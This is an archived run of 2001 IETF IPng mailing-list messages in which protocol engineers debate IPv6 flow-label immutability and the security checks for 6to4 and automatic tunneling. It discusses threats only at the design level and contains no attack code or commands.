(PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA09468; Mon, 24 Dec 2001 07:06:05 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA10689; Mon, 24 Dec 2001 07:06:03 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id QAA09642; Mon, 24 Dec 2001 16:05:58 +0100 Received: from gsine01.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA60256 from ; Mon, 24 Dec 2001 16:05:51 +0100 Message-Id: <3C25F41D.17BC75FB@hursley.ibm.com> Date: Sun, 23 Dec 2001 16:11:25 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Pekka Savola Cc: "Fred L. Templin" , Vladislav Yasevich , ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Savola wrote: > > On Fri, 21 Dec 2001, Brian E Carpenter wrote: > > Pekka Savola wrote: > > > This is getting too implementation-specific, so I guess we had better kill > > > this thread, at least from here... > > > > In fact, it would be a fundamental error to make protocol choices on the > > basis of perceived implementation glitches in today's popular operating > > systems. If we do the "right thing", one of these days the o/s will > > catch up. > > My gripe with 6to4 is that it doesn't discuss the security issues > properly. Everything about security is basically written (rather > concisely), in security considerations, like sugar coating on a cake. Actually I think the decapsulator pseudocode indicates where checks should be made, and as far as I know that is the only place where security would come in. Yes, the description is in boundary condition terms, which the WG thought was necessary and sufficient at the time. > > IMO, this is the wrong approach. Security precautions should be discussed > and handled all the way through the specification (as with Shipworm), and > in security considerations, a summary and remainder threats discussed. > Remainder threats are not covered there. Are you aware of any except spoofing? > > A few points from along the course of this thread: > > - 6to4 does not require the checks and the threats are partially > downplayed It's very hard to attach MUST to checks which are implementation and deployment specific. > - automatic tunneling does not discuss the checks even that much > - issues with multiple use of configured/autotunnel/6to4/... on the same > box is not covered AFAIK anywhere Quite true. > - should autotunnel be deprecated in a more official fashion? Probably. That means removing it from the address architecture and from RFC 2893. > > > That doesn't deny the value of informational documents about today's > > implementation issues, especially security threats. > > This is what my draft was/is partially meant to be; from my perspective (I > looked at Linux and KAME) it appeared that the checks had been implemented > only partially or not at all. Perhaps partly because they may not have > been understood to be important, or were difficult to implement because of > the problem with multiple mechanisms. I think your draft is useful. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 07:06:23 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOF6MZR013769 for ; Mon, 24 Dec 2001 07:06:22 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBOF6MeC013767 for ipng-dist; Mon, 24 Dec 2001 07:06:22 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOF6GZR013756 for ; Mon, 24 Dec 2001 07:06:16 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA09565 for ; Mon, 24 Dec 2001 07:06:16 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA21036 for ; Mon, 24 Dec 2001 08:06:15 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id QAA06240; Mon, 24 Dec 2001 16:06:14 +0100 Received: from gsine01.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA42028 from ; Mon, 24 Dec 2001 16:06:10 +0100 Message-Id: <3C25F60E.7DBF5C47@hursley.ibm.com> Date: Sun, 23 Dec 2001 16:19:42 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Hesham Soliman (ERA)" Cc: ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4DA6EA82906FD511BE2F00508BCF053801C4C17F@Esealnt861.al.sw.ericsson.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk The IANA assignment approach comes afterwards - once we get the immutability property in the standard, we can use IANA assigned values without further work. For diffserv we would use the PHB ID values of RFC 3140, but there is no need to specify that as part of the flow label definition; it comes free of charge. Brian "Hesham Soliman (ERA)" wrote: > > Brian, > > > > > > => Well, there is no requirement that the flow label is > > > > > globally unique. So this should work as long as you use > > > > > a unique value between 2 addresses. > > > > > > > > > > > > > However, it's only useful for a subset of cases, > > > > > > => I didn't really understand what you mean by 'subset > > > of cases'. > > > > It doesn't apply to the diffserv usage (where the label > > is unique to a traffic class, not a flow or a pair of ports, > > and may be IANA-registered) > > => That's why I didn't know what you meant :) > I went back and re-read the draft but I couldn't > see anything about IANA assignment. > In fact I brought this up in the meeting but there > was no support for the idea, so is this something > you'd like to add or have I completely misunderstood > something ? > > Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 07:13:31 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOFDUZR013849 for ; Mon, 24 Dec 2001 07:13:30 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBOFDU9h013848 for ipng-dist; Mon, 24 Dec 2001 07:13:30 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOFDRZR013841 for ; Mon, 24 Dec 2001 07:13:27 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA10275 for ; Mon, 24 Dec 2001 07:13:24 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA09050 for ; Mon, 24 Dec 2001 08:14:16 -0700 (MST) Received: from IPv16 (as1b-67.chi.il.dial.anet.com [198.92.157.67]) by zeus.anet-chi.com (8.12.1/8.12.0) with SMTP id fBOFDE4e017299; Mon, 24 Dec 2001 09:13:14 -0600 (CST) Message-ID: <02c401c18c8f$6c3e03a0$1000a8c0@Unir.com> From: "Jim Fleming" To: "Brian E Carpenter" , "Tony Hain" , "Richard Carlson" Cc: "Margaret Wasserman" , References: <4.3.2.7.2.20011223101408.00b276c0@atalanta.ctd.anl.gov> Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Date: Mon, 24 Dec 2001 09:26:54 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk ----- Original Message ----- From: "Richard Carlson" > I concur. The flow label should be set by the source host and remain > immutable as it travels over the network. > Just like the TOS field in IPv4 ? Jim Fleming http://www.IPv8.info -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 07:33:09 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOFX9ZR013900 for ; Mon, 24 Dec 2001 07:33:09 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBOFX9V8013899 for ipng-dist; Mon, 24 Dec 2001 07:33:09 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOFX5ZR013892 for ; Mon, 24 Dec 2001 07:33:05 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA16364 for ; Mon, 24 Dec 2001 07:33:06 -0800 (PST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [160.36.58.43]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA13848 for ; Mon, 24 Dec 2001 08:33:56 -0700 (MST) Received: from astro.cs.utk.edu (localhost [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id fBOFWfi21084; Mon, 24 Dec 2001 10:32:41 -0500 (EST) Message-Id: <200112241532.fBOFWfi21084@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Richard Carlson cc: Brian E Carpenter , Tony Hain , Margaret Wasserman , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-reply-to: Your message of "Sun, 23 Dec 2001 10:16:02 CST." <4.3.2.7.2.20011223101408.00b276c0@atalanta.ctd.anl.gov> Date: Mon, 24 Dec 2001 10:32:41 -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > I concur. The flow label should be set by the source host and remain > immutable as it travels over the network. great! now if we'd only make the same declaration for the source and destination address... Keith -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 07:49:31 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOFnVZR013999 for ; Mon, 24 Dec 2001 07:49:31 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBOFnV8A013998 for ipng-dist; Mon, 24 Dec 2001 07:49:31 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOFnSZR013991 for ; Mon, 24 Dec 2001 07:49:28 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA12500 for ; Mon, 24 Dec 2001 07:49:24 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA18403 for ; Mon, 24 Dec 2001 07:49:24 -0800 (PST) Received: from IPv16 (as1b-67.chi.il.dial.anet.com [198.92.157.67]) by zeus.anet-chi.com (8.12.1/8.12.0) with SMTP id fBOFnFeN023553; Mon, 24 Dec 2001 09:49:16 -0600 (CST) Message-ID: <02e801c18c94$73cc45a0$1000a8c0@Unir.com> From: "Jim Fleming" To: "Keith Moore" , "Richard Carlson" Cc: "Brian E Carpenter" , "Tony Hain" , "Margaret Wasserman" , References: <200112241532.fBOFWfi21084@astro.cs.utk.edu> Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Date: Mon, 24 Dec 2001 10:02:54 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk ----- Original Message ----- From: "Keith Moore" To: "Richard Carlson" Cc: "Brian E Carpenter" ; "Tony Hain" ; "Margaret Wasserman" ; Sent: Monday, December 24, 2001 9:32 AM Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt > > I concur. The flow label should be set by the source host and remain > > immutable as it travels over the network. > > great! now if we'd only make the same declaration for the source > and destination address... > It does not matter because the entire header gets absorbed at the first GateKeeper....[IPv4][IPv6] ---> [IPv4][IPv8] ...the IPv6 Header is just an extension to IPv4....and it has mostly redundant information....it is very inefficient....networks do not work well filled with extra bits that have no meaning... Jim Fleming http://www.IPv8.info -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 09:08:36 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOH8aZR014202 for ; Mon, 24 Dec 2001 09:08:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBOH8aoc014201 for ipng-dist; Mon, 24 Dec 2001 09:08:36 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOH8XZR014194 for ; Mon, 24 Dec 2001 09:08:33 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA28324 for ; Mon, 24 Dec 2001 09:08:35 -0800 (PST) Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA29004 for ; Mon, 24 Dec 2001 10:08:34 -0700 (MST) Received: from sgoswamipcl (dsl-65-184-63-5.telocity.com [65.184.63.5]) by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with SMTP id MAA01108 for ; Mon, 24 Dec 2001 12:08:33 -0500 (EST) From: "Subrata Goswami" To: Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Mon, 24 Dec 2001 09:12:21 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <4.3.2.7.2.20011223101408.00b276c0@atalanta.ctd.anl.gov> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Just a thought. Is it not be possible to launch a DoS attack by flooding a flow ? In such a situation how would intermediate routers behave if flow bits mutable ver immutable vs local vs global ? Subrata -----Original Message----- From: owner-ipng@sunroof.eng.sun.com [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Richard Carlson Sent: Sunday, December 23, 2001 8:16 AM To: Brian E Carpenter; Tony Hain Cc: Margaret Wasserman; ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt I concur. The flow label should be set by the source host and remain immutable as it travels over the network. Rich At 12:20 PM 12/21/01 +0100, Brian E Carpenter wrote: >Tony is 100% correct in all his comments. I'd add that >hop-by-hop options are not even on the radar screen for >hardware implementation, but for QOS flows we absolutely >need things that hardware can process at line speed. > > Brian > >Tony Hain wrote: > > > > Margaret Wasserman wrote: > > > What is wrong with a hop-by-hop option? Isn't that the "right" > > > mechanism for an IPv6 host to send a "message" that is processed > > > by all routers in the path? > > > > Hop-by-hop options will be slower to process, and the point is that the > > origin knows which packets belong together in any specific flow, and > > there is no way the routers can deduce that. If the origin specifies > > which packets belong together, there is no valid reason for anything > > along the path to decide otherwise. > > > > > >You are assuming that every router along the path is part of the same > > > >administrative system and would react consistently to the marking. > > > > > > No I'm not assuming that all routers in the path will understand > > > the flow label. I am assuming, though, that the flow label will > > > only be _useful_ within an administrative system that has > > > a consistent (or at least compatible) understanding of its meaning. > > > > I didn't state my argument clearly. I agree that not all routers along > > the path may care to pay attention, but as you said your assumption is > > that the ones that do are all are part of a single administrative > > system. This is not reasonable to assume in the general case, so what I > > am arguing is that routers in any independent administrative system in > > the path have consistent information to base decisions on. How they > > acquire the interpretation is independent of the fact that the bits are > > consistent throughout. > > > > > I don't understand how these three systems can usefully interpret > > > the same bits in two different ways. If I am choosing a random > > > flow label value at the source (with an "interactive system" that > > > indicates its meaning out-of-band), why won't I just get random > > > behaviour from the intermediate domain in your example? > > > > You might, but if we allow the intermediate domain to independently > > modify the bits there is no hope that the remote domain can get it > > right. As I said earlier, it is possible for the intermediate system to > > provide a predictable behavior based on the additional knowledge of FL > > without explicit knowledge of the semantics, but that might be more > > along the lines of drop-probability than EF or the like. > > > > > Then, why not leave the specification of flow label semantics and > > > rules to this same WG? > > > > Because the participants in those WGs have consistently proven they > > don't understand the concept of an architecturally consistent immutable > > field which the origin can trust. > > > > Tony > > >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- ------------------------------------ Richard A. Carlson e-mail: RACarlson@anl.gov Network Research Section phone: (630) 252-7289 Argonne National Laboratory fax: (630) 252-4021 9700 Cass Ave. S. Argonne, IL 60439 -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 09:26:24 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOHQOZR014345 for ; Mon, 24 Dec 2001 09:26:24 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBOHQODF014344 for ipng-dist; Mon, 24 Dec 2001 09:26:24 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOHQKZR014337 for ; Mon, 24 Dec 2001 09:26:20 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA20588 for ; Mon, 24 Dec 2001 09:26:22 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA02214 for ; Mon, 24 Dec 2001 10:26:21 -0700 (MST) Received: by snark.piermont.com (Postfix, from userid 1000) id 623AFD97CF; Mon, 24 Dec 2001 12:26:19 -0500 (EST) From: "Perry E. Metzger" To: ipng@sunroof.eng.sun.com Subject: Flow Label Date: 24 Dec 2001 12:26:19 -0500 In-Reply-To: Message-ID: <87pu54msw4.fsf@snark.piermont.com> Lines: 35 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Am I correct in saying that, at this point, the flow label is at most a way for intermediate routers to avoid layer violations, since a flow is immutable and is properly given as a tuple? One must ask what kind of layer violations this is intended to stop, and what the purpose of those layer violations is. Generally speaking, routers only reach in to the lower layers to determine how to differentiate traffic between two hosts for purposes of prioritization. If it is intended to stop routers looking at the different layers to prioritize traffic, it is a failure, since the flow label tells an intermediate router nothing it needs to know to prioritize traffic other than "this is flow #N". You can't decided "hmm, interactive traffic -- better bump that above bulk file transfer" based on the flow label. At best, you can use the flow label for doing something like penalizing flows with non-friendly flow control characteristics. Is that the entire goal? To label flows so that they can be penalized? Is there any other possible use of the field as defined by the proposal? If that's all we're gaining here, seems like a lot of mechanism for a pretty small effect -- especially since at this point, there is no chance of getting the overwhelming bulk of the world's v6 hosts to insert such a label for many years -- XP and friends have already shipped -- so your ASICs still need to know how to unwrap the TCP/UDP headers anyway. Perry -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 11:00:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOJ0QZR014907 for ; Mon, 24 Dec 2001 11:00:27 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBOJ0QN4014906 for ipng-dist; Mon, 24 Dec 2001 11:00:26 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOJ0NZR014899 for ; Mon, 24 Dec 2001 11:00:23 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA23525 for ; Mon, 24 Dec 2001 11:00:24 -0800 (PST) Received: from atalanta.ctd.anl.gov (atalanta.ctd.anl.gov [146.137.64.60]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA06352 for ; Mon, 24 Dec 2001 12:01:16 -0700 (MST) Received: from nomad.ctd.anl.gov (localhost [127.0.0.1]) by atalanta.ctd.anl.gov (8.9.1a/8.9.1) with ESMTP id MAA27695; Mon, 24 Dec 2001 12:52:12 -0600 (CST) Message-Id: <4.3.2.7.2.20011224090416.00b585c0@atalanta.ctd.anl.gov> X-Sender: b30118@atalanta.ctd.anl.gov (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 24 Dec 2001 09:12:00 -0600 To: Robert Elz , Michael Thomas From: Richard Carlson Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Cc: "Hesham Soliman (ERA)" , jarno.rajahalme@nokia.com, Francis.Dupont@enst-bretagne.fr, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com In-Reply-To: <1527.1009021407@brandenburg.cs.mu.OZ.AU> References: <15395.31987.240571.416493@thomasm-u1.cisco.com> <15395.31987.240571.416493@thomasm-u1.cisco.com> <15395.27066.627516.132289@thomasm-u1.cisco.com> <4DA6EA82906FD511BE2F00508BCF053801C4C16C@Esealnt861.al.sw.ericsson.se> <2371.1008932621@brandenburg.cs.mu.OZ.AU> <3933.1008954966@brandenburg.cs.mu.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Robert; How would a receiving host, or the egress router, determine that the FL in the arriving packet needs to be reset back to the original value? Unless you can make this happen, the e2e aspect is lost and we're back to the same state, the receiver can't tell if the network changed the FL or not. So I agree with Tony, the FL needs to remain immutable and even 1 mutable value destroys its value. Rich At 06:43 PM 12/22/01 +0700, Robert Elz wrote: > Date: Fri, 21 Dec 2001 10:18:27 -0800 (PST) > From: Michael Thomas > Message-ID: <15395.31987.240571.416493@thomasm-u1.cisco.com> > > | Um, no. I don't want my telephant's local policy -- > >Then leave them - they'll never learn as long as people just accept it. > > | Yes, yes, big deal. They wanted to support > | first hop rewrite, it got a negative reaction > | and from what I can tell they're not wedded to > | that piece. Do you actually disagree, or are > | you just being argumentative? > >I am trying to find out what the actual harm would be in reserving exactly >one value for the flow-id field with a meaning defined as "I don't care if >this is altered by the network for its purposes". No-one would have to >use that value if they cared about immutability - just use some different >one. So far, I see no evidence of harm at all - nothing more than >queasiness at the thought of the network altering anything in a packet, >even when the source host has said it is OK for it to be altered (I'm not >sure how you cope with the hop limit field, or source routing). > >Unless someone can show that some actual harm can be caused by by this, >then I'm finding it hard to understand why anyone would want to prohibit it. >It all seems to be a case of "I would never want to use this, therefore >you are not allowed to use it either". > >kre > >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- ------------------------------------ Richard A. Carlson e-mail: RACarlson@anl.gov Network Research Section phone: (630) 252-7289 Argonne National Laboratory fax: (630) 252-4021 9700 Cass Ave. S. Argonne, IL 60439 -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 12:55:55 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOKttZR015359 for ; Mon, 24 Dec 2001 12:55:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBOKtshn015357 for ipng-dist; Mon, 24 Dec 2001 12:55:54 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBOKtpZR015349 for ; Mon, 24 Dec 2001 12:55:51 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA22004 for ; Mon, 24 Dec 2001 12:55:53 -0800 (PST) Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA09916 for ; Mon, 24 Dec 2001 13:55:53 -0700 (MST) Received: from sgoswamipcl (dsl-65-184-63-5.telocity.com [65.184.63.5]) by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with SMTP id PAA01946 for ; Mon, 24 Dec 2001 15:55:52 -0500 (EST) From: "Subrata Goswami" To: Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Mon, 24 Dec 2001 12:59:36 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 